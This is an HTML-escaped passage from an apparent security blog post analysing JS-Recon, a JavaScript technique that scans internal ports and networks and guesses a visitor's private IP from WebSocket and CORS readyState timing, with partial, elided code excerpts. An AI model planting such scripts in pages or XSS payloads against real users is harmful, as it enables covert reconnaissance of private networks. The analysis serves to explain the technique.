  &lt;li&gt;Detecting private IP address&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And… what is the impact here? Well, with a browser, we can try to determine the status of an internal website, trying to avoid firewall restrictions with a XSS or tricking our victim to visit out site with the javascript code.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;how-does-it-work&quot;&gt;How does it work?&lt;/h2&gt;

&lt;h3 id=&quot;definitions&quot;&gt;Definitions&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;CORS (Cross-Origin Resource Sharing):&lt;/strong&gt; mechanism that uses additional HTTP headers to tell a browser to let a web application running at one origin (domain) have permission to access selected resources from a server at a different origin.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181017/2.png&quot; alt=&quot;CORS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WebSockets:&lt;/strong&gt; The WebSocket API is an advanced technology that makes it possible to open a two-way interactive communication session between the user’s browser and a server. With this API, you can send messages to a server and receive event-driven responses without having to poll the server for a reply.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;description-of-js-recon-funcionallity&quot;&gt;Description of JS-Recon funcionallity&lt;/h3&gt;

&lt;p&gt;CORS XMLHttpRequest has five possible readystate status and WebSocket has four possible readystate status.&lt;/p&gt;

&lt;p&gt;But, what is a readystate status?&lt;/p&gt;

&lt;p&gt;ReadyState property returns the state an XMLHttpRequest client is in. An XHR client exists in one of the following states:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;0&lt;/strong&gt; request not initialized&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; server connection established&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; request received&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; processing request&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; request finished and response is ready&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When a new connection is made to any service the status of the readystate property changes based on the state of the connection. This transition between different states can be used to determine if the remote port to which the connection is being made is either open, closed or filtered.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Port Scanning:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When a WebSocket or CORS connection is made to a specific port of an IP address in the internal network the initial state of WebSocket is readystate 0 and for CORS its readystate 1. Depending on the status of the remote port, these initial readystate status change sooner or later. The below table shows the relation between the status of the remote port and the duration of the initial readystate status. By observing how soon the initial readystate status changes we can identify the status of the remote port.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port Status&lt;/th&gt;
      &lt;th&gt;WebSocket (ReadyState 0)&lt;/th&gt;
      &lt;th&gt;WebSocket (ReadyState 1)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tfoot&gt;
    &lt;tr&gt;
      &lt;td&gt;Open (applications type 1 &amp;amp; 2)&lt;/td&gt;
      &lt;td&gt;&amp;lt; 100ms&lt;/td&gt;
      &lt;td&gt;&amp;lt; 100ms&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tfoot&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Closed&lt;/td&gt;
      &lt;td&gt;~ 1000ms&lt;/td&gt;
      &lt;td&gt;~ 1000ms&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Filtered&lt;/td&gt;
      &lt;td&gt;&amp;gt; 3000ms&lt;/td&gt;
      &lt;td&gt;&amp;gt; 3000ms&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;There are some limitations to performing port scans this way. The major limitation is that all browser’s block connections to well known ports and so they cannot be scanned. The other limitation is that these are application level scans unlike the socket level scans performed by tools like nmap. This means that based on the nature of the application listening on a particular port the response and interpretation might vary.&lt;/p&gt;

&lt;p&gt;There are four types of responses expected from applications:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; Close on connect: Application terminates the connection as soon as the connection is established due to protocol mismatch&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Respond &amp;amp; close on connect: Similar to type-1 but before closing the connection it sends some default response&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; Open with no response: Application keeps the connection open expecting more data or data that would match its protocol specification&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; Open with response: Similar to type-3 but sends some default response on connection, like a banner or welcome message&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The behavior of WebSockets and COR for each of these types is shown in the table below.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Application Type&lt;/th&gt;
      &lt;th&gt;WebSocket (ReadyState 0)/CORS (ReadyState 1)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tfoot&gt;
    &lt;tr&gt;
      &lt;td&gt;Closed on connect&lt;/td&gt;
      &lt;td&gt;&amp;lt; 100ms&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tfoot&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Response &amp;amp; close on connect&lt;/td&gt;
      &lt;td&gt;&amp;lt; 100ms&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Open with no response&lt;/td&gt;
      &lt;td&gt;&amp;gt; 3000ms&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Open with response&lt;/td&gt;
      &lt;td&gt;&amp;lt; 100ms (FF &amp;amp; Safari) | &amp;gt; 300ms (Chrome)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Network Scanning:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The port scanning technique can be applied to perform horizontal network scans of internal networks. Since both an open port and a closed port can be accurately identified, horizontal scans can be made for specific ports that would be allowed through the personal firewalls of most corporate systems.&lt;/p&gt;

&lt;p&gt;Identification of an open or closed port would indicate that a particular IP address is up.&lt;/p&gt;

&lt;p&gt;Ports like 445 or 3389 are ideal for such purpose as these are usually allowed across personal firewalls of desktop systems. It has been found that port 445 is of Application type-1 on Windows 7 and can be detected whether it is open or closed. However port 445 on Windows XP and port 3389 are of application type-3 and the host can only be detected if these ports are closed on such systems.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Detecting Private IP Address:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most home user’s connected to WiFi routers are given IP addresses in the 192.168.x.x range. And the IP address of the router is often 192.168.x.1 and they almost always have their administrative web interfaces running on port 80 or 443.&lt;/p&gt;

&lt;p&gt;These two trends can be exploited to guess the private IP address of the user in two steps:&lt;/p&gt;

&lt;p&gt;Step 1: Identify the user’s subnet
This can be done by scanning port 80 and/or 443 on the IP addresses from 192.168.0.1 to 192.168.255.1. If the user is on the 192.168.3.x subnet then we would get a response for 192.168.3.1 which would be his router and thus the subnet can be identified.&lt;/p&gt;

&lt;p&gt;Step 2: Identify the IP address
Once the subnet is identified we scan the entire subnet for a port that would be filtered by personal firewalls, port 30000 for example. So we iterate from 192.169.x.2 to 192.168.x.254, when we reach the IP address of the user we would get a response (open/closed) because the request is generated from the user’s browser from within his system and so his personal firewall does not block the request.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;analyzing-detecting-ip-address&quot;&gt;Analyzing Detecting IP Address&lt;/h3&gt;

&lt;p&gt;The basis of the rest of the functionality are the same. However, to not extend this article, only a funcionatility would be analyzed:&lt;/p&gt;

&lt;p&gt;The first function called is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find_private_ip()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;find_private_ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;scan_type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;network_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;192&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;168&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;reset_scan_out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Detection started&amp;lt;br&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;find_network&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;        
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;It sets variables and cleans the output. Then calls the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find_network()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;find_network&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;network_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;network_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;The local network could not be identified...detection stopped&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Currently checking - &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;network_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;network_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;is_dest_up&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Find_network()&lt;/code&gt; checks if the 192.168.&lt;strong&gt;X&lt;/strong&gt;.X value, that corresponds with the subnet of the victim is over 255. If this value is over, the subnet could not be verified and the detections tops.&lt;/p&gt;

&lt;p&gt;If subnet values is not over 255, adds 1 to the subnet mask and calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;is_dest_up(1)&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;is_dest_up&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pis_code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;pis_port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        
        &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;

        &lt;span class=&quot;nx&quot;&gt;start_time&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;ws&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;WebSocket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ws://&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;network_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;pis_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;check_idp(1)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;lt;b&amp;gt;Scan stopped. Exception: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;lt;/b&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The function set the port of the router to 80. Then starts a timmer and creates a websocket trying to connect to the port 80 in the IP that iteracts. Therefore, if the there is a response in the 80 of the router IP and a delay in the response, the script could determine the subnet IP.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;check_idp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pis_code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;interval&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;start_time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ws&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;readyState&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;interval&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;closed_port_max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;find_network()&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;check_idp(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;pis_code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
                &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Network found -- &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;network_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;..checking for IP&amp;lt;br&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;find_ip()&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
